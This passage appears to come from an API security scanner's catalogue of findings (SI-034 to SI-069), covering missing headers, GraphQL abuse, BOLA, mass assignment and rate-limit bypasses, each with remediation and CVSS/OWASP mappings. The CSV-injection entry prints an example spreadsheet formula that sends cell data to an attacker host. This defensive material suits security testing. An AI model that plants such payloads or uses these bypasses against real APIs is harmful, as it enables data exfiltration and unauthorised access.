Remediation: Add 'X-Content-Type-Options: nosniff' to all API HTTP responses. Ensure all responses also include accurate Content-Type headers matching the actual content. This single-directive header is trivial to implement and should be applied globally via middleware or the web server configuration.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-034 — Missing Security Header: Referrer-Policy
Description: The API response does not include a Referrer-Policy header. Without this header, the browser defaults to 'no-referrer-when-downgrade' behavior, sending the full URL as the Referrer header to any HTTPS destination when navigating from HTTPS pages. If API request URLs contain sensitive parameters such as session tokens, API keys, or user identifiers, these values will be leaked to third-party analytics services, CDNs, or any embedded resources loaded by the page.
Remediation: Add a Referrer-Policy header to all API responses. Set the value to 'strict-origin-when-cross-origin' as a sensible default for most applications, or 'no-referrer' for endpoints that should not leak any referrer information. Ensure sensitive data is never embedded in URLs where it could be exposed in the Referer header.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-035 — Missing Security Header: Cache-Control
Description: The API response for a sensitive or authenticated endpoint does not include a Cache-Control header. Without explicit cache control directives, the response may be cached by intermediate proxies, CDN edge nodes, shared corporate caches, or the client browser. Sensitive API responses (e.g., user profiles, account data, payment information) cached in shared environments can be retrieved by other users, creating a data confidentiality risk.
Remediation: Add Cache-Control headers to all authenticated or sensitive API responses. Use 'no-store, private' to prevent caching at all levels for sensitive responses. Use 'no-cache' if validation is acceptable but indefinite caching is not. Ensure that any CDN or reverse proxy in front of the API is configured to respect these directives.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-036 — Missing Security Header: Permissions-Policy
Description: The API response does not include a Permissions-Policy header (formerly Feature-Policy). Without this header, the browser grants default access to powerful browser features such as camera, microphone, geolocation, payment, and USB for any content rendered from this origin, including third-party iframes. Malicious scripts or XSS payloads executing in the context of this origin can access these features without restriction.
Remediation: Add a Permissions-Policy header to restrict access to browser features to only those the application requires. Use a restrictive default such as 'camera=(), microphone=(), geolocation=(), payment=()' and selectively enable features as needed. This header provides defense-in-depth against XSS exploitation of browser APIs.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-037 — Missing Secure Cookie Attribute: HttpOnly
Description: An API session or authentication cookie is set without the HttpOnly attribute. Without HttpOnly, client-side JavaScript can read the cookie value via document.cookie, enabling session hijacking through Cross-Site Scripting (XSS) attacks. An attacker who successfully injects a script into the application can exfiltrate the session cookie and impersonate the victim without any further interaction.
Remediation: Set the HttpOnly flag on all session and authentication cookies. This prevents JavaScript from accessing the cookie value while still allowing it to be sent on HTTP requests. Evaluate whether cookie-based authentication is appropriate for the API use case; Authorization headers are generally preferred for API clients as they cannot be stolen via XSS in the same way.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
MEDIUM SI-038 — Missing Secure Cookie Attribute: Secure
Description: An API session or authentication cookie is set without the Secure attribute. Without the Secure flag, the browser will transmit the cookie over unencrypted HTTP connections in addition to HTTPS. An attacker performing a network man-in-the-middle attack (e.g., on an unencrypted Wi-Fi network) can intercept the session cookie and use it to impersonate the authenticated user. This is particularly critical for authentication tokens.
Remediation: Set the Secure flag on all session and authentication cookies. This ensures the cookie is only transmitted over HTTPS connections. Combine with HSTS to prevent the browser from making HTTP requests to the API at all. If HTTP access is still required for any reason, ensure no sensitive cookies are set on HTTP responses.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
MEDIUM SI-039 — Rate Limit Response Missing Retry-After Header
Description: The API returns a 429 Too Many Requests response when rate limits are exceeded, but does not include a Retry-After header indicating when the client should retry. Without Retry-After, clients implementing retry logic may immediately retry requests, causing a thundering herd effect that amplifies load on the server. Additionally, the absence of this header makes the rate limiting behavior opaque, which can assist attackers in tuning their request timing to avoid detection.
Remediation: Include a Retry-After header (or X-RateLimit-Reset) in all 429 responses, specifying either a date/time or number of seconds until the rate limit window resets. Document the rate limiting behavior in the API specification. Consider also returning X-RateLimit-Limit and X-RateLimit-Remaining headers on successful responses to help clients self-regulate.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
OWASP API: API4:2023 Unrestricted Resource Consumption
MEDIUM SI-040 — CRLF Injection in API Parameter
Description: Siphon detected that an API parameter containing CRLF sequences (\r\n, %0d%0a) is reflected in HTTP response headers without sanitization. CRLF injection allows an attacker to inject arbitrary HTTP headers into the response, enabling header injection attacks, response splitting, cookie injection, cache poisoning, and cross-site scripting via injected Location or Set-Cookie headers. The impact depends on how the injected content is processed by downstream proxies and browsers.
Remediation: Sanitize all user-supplied input before including it in HTTP response headers by stripping or encoding CR (\r) and LF (\n) characters. Use framework-provided header-setting APIs rather than constructing headers manually. Implement output encoding appropriate to the context. Validate that header values conform to expected formats using allowlist validation.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-041 — Log Injection via User-Agent / Query Parameter
Description: Siphon detected that user-controlled input (User-Agent header or query parameters) is written to application logs without sanitization. An attacker can inject newline characters and fake log entries to forge log records, obfuscate malicious activity, or confuse log analysis tools. In systems where logs are consumed by downstream parsers or SIEM tools, injected log entries can trigger false alerts or suppress real ones. If logs are displayed in a web-based log viewer, log injection can escalate to stored XSS.
Remediation: Sanitize all user-controlled values before writing them to logs by encoding or stripping newline characters, control characters, and HTML special characters. Use structured logging (JSON or similar) rather than free-form string concatenation so injected newlines cannot create new log entries. Apply input validation on User-Agent and other headers before logging.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-042 — SOAP Verbose Fault / Error Disclosure
Description: The SOAP API returns verbose fault messages that disclose internal details such as stack traces, server-side file paths, class names, database connection strings, SQL query fragments, or XML schema structures. Verbose SOAP faults provide an attacker with detailed knowledge of the internal architecture that significantly aids in crafting targeted exploitation attempts. This information leakage is particularly valuable for injection attack reconnaissance.
Remediation: Configure the SOAP framework to return generic, client-safe fault messages in production environments. Disable stack trace inclusion in fault detail elements. Log detailed error information server-side rather than returning it to clients. Implement a custom fault handler that maps internal exceptions to generic error codes. Regularly test error conditions to verify no sensitive data is disclosed.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-043 — GraphQL Field Suggestions Enabled
Description: The GraphQL API returns field suggestion messages (e.g., "Did you mean 'password'?") when a queried field name is similar to an existing field. This behavior exposes the schema's field names even when introspection is disabled, allowing an attacker to enumerate object types and field names by submitting deliberately misspelled queries and observing the suggestions in error responses. This effectively bypasses introspection-based schema hiding.
Remediation: Disable field suggestions in the GraphQL engine configuration. In Apollo Server, set 'hideSchemaErrors: true' or use a custom error formatter to remove suggestion strings from error responses. In other frameworks, configure the error masking/formatting to strip suggestion messages. Do not rely on disabling introspection alone as a schema protection measure if field suggestions are still enabled.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-044 — GraphQL Error Response Leaks Internal Details
Description: GraphQL error responses from this API expose internal implementation details including stack traces, resolver function names, database query details, file system paths, or internal type names. These details assist an attacker in mapping the internal architecture, identifying the database technology, and crafting targeted injection payloads. Error detail leakage in GraphQL APIs is common when development-mode error handling is left enabled in production deployments.
Remediation: Configure the GraphQL server to mask internal error details in production. Return only generic error messages with client-safe error codes. Log complete error details server-side for debugging. In Apollo Server, set 'includeStacktraceInErrorResponses: false'. Implement a custom error formatter that strips extensions.exception.stacktrace and other internal fields from error responses.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-045 — GraphQL Directive Abuse — Accepted Without Limit
Description: The GraphQL API accepts queries containing multiple repeated directives (e.g., @include, @skip, or custom directives) on the same field without limit. Attackers can abuse this by submitting queries with thousands of directive applications on a single field, causing excessive server-side processing to evaluate each directive. This is a form of denial-of-service attack that does not require a large query document and may not be caught by query complexity or depth limits.
Remediation: Implement directive count validation in the GraphQL query parser to limit the number of directives per field and per query. Set a maximum directive application limit (e.g., no more than 10 directives per field). Use a query cost analysis library that accounts for directive evaluation cost. Apply rate limiting on the GraphQL endpoint.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
OWASP API: API4:2023 Unrestricted Resource Consumption
MEDIUM SI-046 — GraphQL Fragment Sprawl — No Fragment Count Limit
Description: The GraphQL API accepts queries containing an unrestricted number of fragment definitions. An attacker can define hundreds or thousands of fragments that cyclically reference each other or are applied across many fields, causing the server to perform excessive work during query validation and execution. Fragment sprawl attacks can bypass depth limit protections because fragments flatten the tree before depth counting. This can result in CPU exhaustion and denial-of-service conditions.
Remediation: Implement fragment count limits in the GraphQL query validator (e.g., maximum 50 fragment definitions per query). Apply a query complexity analysis library that correctly accounts for inline and spread fragments when calculating query cost. Enable query timeout limits. Detect and reject queries containing circular fragment references.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
OWASP API: API4:2023 Unrestricted Resource Consumption
MEDIUM SI-047 — JSONP Endpoint Detected — Potential Data Leakage
Description: Siphon detected an API endpoint that supports JSONP (JSON with Padding), indicated by a callback parameter that wraps the response in a JavaScript function call. JSONP bypasses Same-Origin Policy using a script tag, enabling cross-origin data access. Authenticated JSONP endpoints are particularly dangerous because an attacker-controlled page can include a script tag pointing to the JSONP endpoint, and if the victim's browser sends session cookies, the attacker receives the victim's data in the callback. JSONP is a legacy pattern that has been superseded by CORS.
Remediation: Remove JSONP support and replace with proper CORS configuration that specifies allowed origins explicitly. If JSONP must be maintained for legacy compatibility, ensure authenticated JSONP endpoints validate the Referer header and implement CSRF tokens. Restrict the callback parameter to an allowlist of safe function names. Consider this a critical finding on any endpoint that returns user-specific data.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-048 — Possible Mass Assignment — Response Differs
Description: Siphon detected that submitting additional or undocumented fields in an API request body produces a different response (e.g., different status code, different response body structure, or modified resource state) compared to the baseline request without those fields. This behavioral difference suggests the application is processing the injected fields, which is a strong indicator of a mass assignment vulnerability. Full exploitation requires manual confirmation of which fields can be manipulated.
Remediation: Implement an explicit allowlist of accepted fields for each API endpoint. Use Data Transfer Objects (DTOs) or serialization schemas that only map documented fields, ignoring all others. Never bind request body data directly to model objects without filtering. Audit all API endpoints that accept PATCH or PUT requests for mass assignment susceptibility.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A04:2021 Insecure Design
OWASP API: API6:2023 Unrestricted Access to Sensitive Business Flows
MEDIUM SI-049 — Possible SSRF — Delayed Response
Description: Siphon observed a significant and consistent response delay when injecting an internal or external URL into an API parameter, suggesting the server is fetching the supplied URL before responding. This timing-based indicator is consistent with Server-Side Request Forgery (SSRF) behavior where the server makes outbound connections based on attacker-supplied URLs. SSRF can be used to probe internal network services, access cloud metadata endpoints (e.g., 169.254.169.254), or pivot to internal systems. Manual confirmation is required to determine exploitability.
Remediation: Validate all URL parameters against an allowlist of permitted schemes and destination hosts before making any outbound request. Block requests to private IP ranges (RFC 1918), link-local addresses, and cloud metadata endpoints. Implement a server-side HTTP client that enforces timeouts and restricts redirects. Log all outbound HTTP requests for monitoring purposes.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
OWASP Web: A10:2021 Server-Side Request Forgery
OWASP API: API7:2023 Server Side Request Forgery
MEDIUM SI-050 — JWT Uses Symmetric Algorithm (HS256)
Description: The API issues JWTs signed with a symmetric HMAC algorithm (HS256, HS384, or HS512). Symmetric algorithms use the same secret key for signing and verification, meaning any party that can verify tokens also knows the secret and can forge arbitrary tokens. In microservice architectures where multiple services verify JWTs, each service possesses the signing secret, increasing the blast radius if any service is compromised. A weak or brute-forceable HMAC secret compounds this risk significantly.
Remediation: Migrate to asymmetric signing algorithms (RS256, ES256, or PS256) where the signing key is known only to the issuer and verification uses the corresponding public key. If symmetric algorithms must be retained, use a cryptographically strong, randomly generated secret of at least 256 bits. Rotate the signing secret periodically. Store the secret in a secrets management system, not in configuration files.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
HIGH SI-051 — Security Misconfiguration / CORS Wildcard with Credentials
Description: The API responds with Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true simultaneously. While modern browsers reject this combination per the CORS specification, the configuration reveals a misunderstanding of CORS security semantics. Additionally, some non-browser clients and legacy implementations may not enforce this restriction. The intended behavior (wildcard origin with credentials) would allow any origin to make authenticated cross-origin requests, effectively neutralizing same-origin protection for authenticated API calls.
Remediation: Never set Access-Control-Allow-Origin to '*' in combination with Access-Control-Allow-Credentials: true. For endpoints requiring credentialed cross-origin access, maintain an explicit allowlist of trusted origins and dynamically reflect the request origin only when it matches the allowlist. Remove the wildcard and configure a specific origin allowlist.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
HIGH SI-052 — Information Disclosure: Credentials in URL Query Parameters
Description: The API transmits sensitive credentials (API keys, tokens, passwords, or session identifiers) in URL query parameters rather than in request headers or the request body. URL query parameters are stored in browser history, web server access logs, proxy logs, and Referer headers sent to third parties. Credentials embedded in URLs are frequently exposed through log aggregation systems, CDN log exports, and browser history synchronization, creating multiple persistent exposure vectors.
Remediation: Transmit all credentials and sensitive tokens in HTTP request headers (Authorization, X-API-Key) or in the request body (for POST/PUT requests). Never include credentials in URL query parameters. Review all API endpoints for credential leakage via URL parameters. Rotate any credentials that have been transmitted in URLs as they should be considered compromised.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
HIGH SI-053 — Debug / Developer Console Exposed
Description: Siphon detected an accessible debug or developer console endpoint (e.g., /debug, /console, /__debug__, /flask-debugger, Spring Boot Actuator /actuator/env, Django admin, Werkzeug interactive debugger). Debug consoles typically provide arbitrary code execution capabilities, full environment variable disclosure (including secrets), SQL query execution, and live configuration inspection. An unauthenticated debug console is a critical severity finding and provides immediate full system compromise.
Remediation: Immediately disable all debug endpoints in production deployments. Use environment-specific configuration to ensure debug modes are only enabled in development environments. Remove all debug middleware and interactive debuggers from production builds. Implement access controls on any remaining diagnostic endpoints (e.g., Spring Boot Actuator) to restrict them to authenticated administrators on internal networks only.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-054 — Server-Timing Header Leaks Authentication Duration
Description: The API includes a Server-Timing header in authentication responses that reveals internal timing information such as database query duration or credential validation time. By comparing response times for valid versus invalid usernames, an attacker can perform a timing-based user enumeration attack. Differences in authentication timing (e.g., a valid username with wrong password taking longer than an invalid username) can also confirm account existence without triggering lockout mechanisms.
Remediation: Remove the Server-Timing header from authentication endpoint responses. If Server-Timing is required for performance monitoring, restrict it to internal networks or authenticated requests only. Implement constant-time comparison for credential validation to eliminate timing side-channels. Ensure authentication responses for valid and invalid credentials take equivalent time by adding artificial delays where necessary.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MEDIUM SI-055 — API Returns More Fields Than Documented
Description: The API endpoint returns more fields in its response than are documented in the API specification. The extra fields may contain internal identifiers, system metadata, hidden status flags, or other data not intended for client consumption. When the undocumented fields are sensitive (e.g., password hashes, internal user IDs, role flags, tokens), this finding escalates to Excessive Data Exposure. Even non-sensitive undocumented fields represent a schema drift risk and documentation gap.
Remediation: Implement explicit response serialization/marshaling that only includes fields defined in the API specification. Use response DTOs or serialization schemas to filter the response object before returning it. Review all undocumented fields for sensitivity. Update the API specification to formally document any fields that should be exposed, or remove them from responses.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
OWASP API: API3:2023 Broken Object Property Level Authorization
MEDIUM SI-056 — HTTP Method Override — DELETE via POST Accepted
Description: The API accepts HTTP method overrides via the X-HTTP-Method-Override or X-Method-Override header, allowing a POST request to be processed as a DELETE, PUT, or PATCH. Method override support was originally designed for environments where only GET and POST are supported. If the API applies authorization controls based on HTTP method at the routing layer, an attacker may bypass these controls by using POST with a method override header to perform DELETE or other privileged operations.
Remediation: Disable HTTP method override support unless strictly required for legacy client compatibility. If method override must be supported, ensure that authorization controls are applied based on the effective (overridden) method, not the HTTP transport method. Restrict which methods can be overridden and log all override usage.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-057 — CSV Injection in User Export
Description: The API's data export endpoint includes user-supplied values in CSV output without sanitization. Spreadsheet applications (Excel, LibreOffice Calc, Google Sheets) interpret cell values beginning with '=', '+', '-', or '@' as formulas. An attacker can inject formula payloads (e.g., =HYPERLINK("http://attacker.com/?"&A1)) that execute when an administrator or staff member opens the exported CSV, potentially exfiltrating data from the spreadsheet or executing arbitrary commands if Dynamic Data Exchange (DDE) is enabled.
Remediation: Prefix all user-supplied cell values in CSV exports with a single quote character to prevent formula injection. Alternatively, reject or escape cells that begin with formula-triggering characters. Warn users in the API documentation that exported data should not be opened with formula execution enabled. Consider using XLSX format with explicit cell type enforcement instead of CSV.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-058 — Business Flow — Numeric Field Accepts Negative/Zero Value
Description: Siphon detected that an API endpoint accepting a numeric field (e.g., quantity, amount, price, discount) processes negative or zero values without validation. Accepting negative values in financial or inventory contexts can enable attacks such as transferring negative amounts (effectively receiving funds), adding negative quantities to a cart (to subtract price), applying discounts greater than 100%, or bypassing minimum purchase requirements. This class of business logic flaw is commonly exploited in e-commerce and fintech APIs.
Remediation: Implement server-side validation that enforces minimum value constraints for all numeric fields (e.g., quantity >= 1, amount > 0). Do not rely on client-side validation alone. Review each numeric field to determine appropriate bounds and implement both minimum and maximum value checks. Specifically test for integer overflow conditions when large positive values are submitted.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A04:2021 Insecure Design
OWASP API: API6:2023 Unrestricted Access to Sensitive Business Flows
HIGH SI-059 — Missing Security Header: Strict-Transport-Security
Description: The API does not include a Strict-Transport-Security (HSTS) header in its responses. Without HSTS, browsers do not enforce HTTPS connections to the API and will follow HTTP redirects or accept HTTP responses. This enables SSL stripping attacks where a network-positioned attacker downgrades the connection from HTTPS to HTTP, intercepting all API traffic including authentication tokens, session cookies, and sensitive data in transit. APIs accessible over both HTTP and HTTPS without HSTS are especially vulnerable.
Remediation: Add 'Strict-Transport-Security: max-age=31536000; includeSubDomains' to all HTTPS responses. Ensure the API is only served over HTTPS and redirect all HTTP requests to HTTPS before setting the HSTS header. Consider submitting the domain to the HSTS preload list at https://hstspreload.org. Never set HSTS on HTTP responses as this provides no protection and can cause access issues.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 Cryptographic Failures
OWASP API: API8:2023 Security Misconfiguration
HIGH SI-060 — BOLA — Object Enumeration Possible
Description: The API uses predictable, sequential, or guessable object identifiers (e.g., integer IDs: /api/orders/1001, /api/orders/1002) in resource URLs. While a full BOLA exploit requires the server to return another user's resource without authorization checks, predictable IDs enable automated enumeration of valid resource identifiers. An attacker can iterate through ID ranges to discover valid object IDs before exploiting missing authorization checks. This finding is a prerequisite for BOLA (SI-076) exploitation.
Remediation: Replace sequential integer IDs with cryptographically random UUIDs (UUIDv4) or other non-enumerable identifiers. Implement object-level authorization checks on every endpoint regardless of ID type — do not rely on unguessable IDs as a substitute for authorization. Combine opaque IDs with server-side ownership validation.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 Broken Access Control
OWASP API: API1:2023 Broken Object Level Authorization
HIGH SI-061 — BFLA — Broken Function Level Authorization
Description: Siphon confirmed that an API endpoint intended for a higher-privileged role (e.g., manager, moderator) is accessible by a lower-privileged authenticated user (horizontal privilege escalation). The server does not enforce function-level authorization checks at the endpoint, relying instead on the client to present appropriate UI. An attacker can directly call the restricted endpoint using their own valid credentials to perform actions beyond their assigned role.
Remediation: Implement server-side function-level authorization checks on every endpoint based on the authenticated user's role and permissions. Apply the principle of least privilege: default to denying access and explicitly grant access to each role per endpoint. Use a centralized authorization framework rather than per-endpoint conditional logic. Regularly test authorization controls with each defined role.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 Broken Access Control
OWASP API: API5:2023 Broken Function Level Authorization
HIGH SI-062 — Excessive Data Exposure — Sensitive Fields in API Response
Description: The API response includes sensitive fields that should not be returned to the requesting client, such as password hashes, password reset tokens, SSNs, credit card numbers, internal system identifiers, private keys, secret tokens, or overly detailed PII. The API returns a serialized object without filtering sensitive fields, relying on the client to ignore them. An attacker who can read API responses (or who intercepts them) gains access to this sensitive data directly.
Impact: An attacker (or any client) receives sensitive fields the API was never intended to expose, because filtering is left to the client. This leaks PII, credentials, tokens or internal attributes directly in API responses and is frequently the root cause of large-scale data breaches via mobile/SPA backends.
Remediation: Implement explicit response serialization that only returns fields the requesting client is authorized to receive. Use response DTOs, @JsonIgnore annotations, or serialization group mechanisms to exclude sensitive fields. Never return password hashes, plaintext passwords, tokens, or private key material in any API response. Conduct a data classification review of all API response schemas.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 Cryptographic Failures
OWASP API: API3:2023 Broken Object Property Level Authorization
HIGH SI-063 — Cross-User Data Leakage
Description: Siphon confirmed that an authenticated API endpoint returns data belonging to another user when a different user's resource ID is specified. The server does not validate that the authenticated user is the owner of or has permission to access the requested resource. This is a confirmed Broken Object Level Authorization (BOLA/IDOR) vulnerability allowing horizontal privilege escalation and direct cross-user data access.
Remediation: Implement ownership validation on every endpoint that accesses user-specific resources. Verify that the authenticated user ID matches the owner of the requested resource. Do not rely on the client to supply the correct user ID — derive the target user from the authenticated session, not from URL parameters or request body. Implement comprehensive integration tests for authorization across all user-scoped endpoints.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 Broken Access Control
OWASP API: API1:2023 Broken Object Level Authorization
HIGH SI-064 — Sensitive Data Exposed in API Response
Description: The API response contains sensitive data including but not limited to: full payment card numbers or PAN data, government-issued ID numbers, medical or health records, private cryptographic material, authentication credentials, or other regulated/sensitive personal information. This data is returned as part of the standard API response to the client, creating unnecessary exposure. Even if HTTPS is in use, returning sensitive data to clients that do not need it violates data minimization principles and increases breach impact.
Remediation: Apply data minimization: only return the minimum data the client requires to fulfill its function. Mask or truncate sensitive fields (e.g., return last four digits of a card number only). Implement field-level access control so that sensitive fields are only returned to clients with explicit permission. Conduct a data sensitivity audit of all API response schemas against regulatory requirements (PCI-DSS, HIPAA, GDPR).
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 Cryptographic Failures
OWASP API: API3:2023 Broken Object Property Level Authorization
HIGH SI-065 — Sensitive Authentication Headers Exposed in Response
Description: The API response headers expose sensitive authentication material such as internal API keys, bearer tokens, session identifiers, or HMAC signing secrets. These values may appear in custom response headers, debug headers, or be reflected back from request headers without sanitization. An attacker who can read response headers from any position in the network path (e.g., via a proxy, CDN logging, or XSS) can extract these credentials for further exploitation.
Remediation: Audit all API response headers and remove any that contain authentication credentials, tokens, or secrets. Ensure response headers are generated from server-side configuration, not by reflecting request headers. Review logging pipelines to ensure response headers containing credentials are not captured in logs. Rotate any credentials that have been exposed in response headers.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
HIGH SI-066 — Missing Rate Limiting
Description: The API endpoint does not enforce any rate limiting on incoming requests. An attacker can send unlimited requests to this endpoint, enabling brute-force attacks against authentication endpoints, enumeration of valid resource IDs, credential stuffing attacks, scraping of all accessible data, or resource exhaustion (denial-of-service) through compute-intensive operations. The absence of rate limiting is particularly critical on authentication, password reset, OTP, and search endpoints.
Remediation: Implement rate limiting on all API endpoints, with stricter limits on authentication-related endpoints. Define rate limit policies based on IP address, API key, and authenticated user. Return 429 Too Many Requests with a Retry-After header when limits are exceeded. Use a rate limiting middleware or API gateway feature rather than application-level implementation. Implement exponential backoff enforcement for repeated authentication failures.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
OWASP API: API4:2023 Unrestricted Resource Consumption
MITRE ATT&CK: T1499 (Impact)
NIST 800-53: SC-5, CM-6
PCI DSS 4: 6.2.4
HIGH SI-067 — Rate Limit Bypass — Unauthenticated Session Has Separate Bucket
Description: Siphon confirmed a rate limit bypass where requests made without authentication (or with a different credential type) are tracked in a separate rate limit bucket from authenticated requests. An attacker can exploit this by alternating between authenticated and unauthenticated sessions, or by registering multiple accounts to obtain separate rate limit buckets. This effectively multiplies the number of attempts available, enabling brute-force or credential stuffing attacks that would otherwise be blocked by per-credential rate limits.
Remediation: Implement rate limiting that aggregates request counts by IP address regardless of authentication state. Ensure that unauthenticated requests to sensitive endpoints (login, password reset, OTP) are subject to strict rate limits. Track failed authentication attempts by IP address and target account, locking or challenging both dimensions when thresholds are exceeded.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP API: API4:2023 Unrestricted Resource Consumption
HIGH SI-068 — Rate Limit Bypass via X-Forwarded-For Header
Description: Siphon confirmed that the API's rate limiting can be bypassed by injecting arbitrary IP addresses into the X-Forwarded-For, X-Real-IP, or CF-Connecting-IP headers. The application trusts these headers unconditionally and uses the value as the client IP for rate limit bucket assignment. An attacker can rotate the X-Forwarded-For value on each request to bypass per-IP rate limits entirely, enabling unlimited brute-force and enumeration attacks.
Remediation: Do not use untrusted client-supplied IP headers for rate limiting or security enforcement. Only extract the real client IP from X-Forwarded-For when the request originates from a trusted proxy or load balancer (validate by source IP). Configure the proxy to set the client IP header and strip any client-supplied values before forwarding. Use the connection IP (socket-level IP) when no trusted proxy layer is present.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP API: API4:2023 Unrestricted Resource Consumption
HIGH SI-069 — Mass Assignment Vulnerability
Description: Siphon confirmed a mass assignment vulnerability where injecting undocumented fields (e.g., role, isAdmin, accountBalance, verified, subscription_tier) in the API request body results in those fields being written to the underlying data model. The application binds request body parameters directly to model objects without an explicit allowlist. An attacker can escalate privileges, modify protected fields, or alter business-critical data by including these fields in standard API requests.
Impact: By submitting properties the client should never control, an attacker overwrites server-side state such as roles, ownership, balances or verification flags, escalating privileges or tampering with business-critical data directly through the normal API.
Remediation: Never bind request body data directly to model objects. Use Data Transfer Objects (DTOs) with explicit field mappings for each endpoint. Implement an allowlist of fields that each endpoint is permitted to modify. Mark sensitive model fields (role, isAdmin, balance) with @ReadOnly or equivalent annotations to prevent them from being modified via API binding. Conduct a full audit of all PATCH and PUT endpoints.
Effort: Low
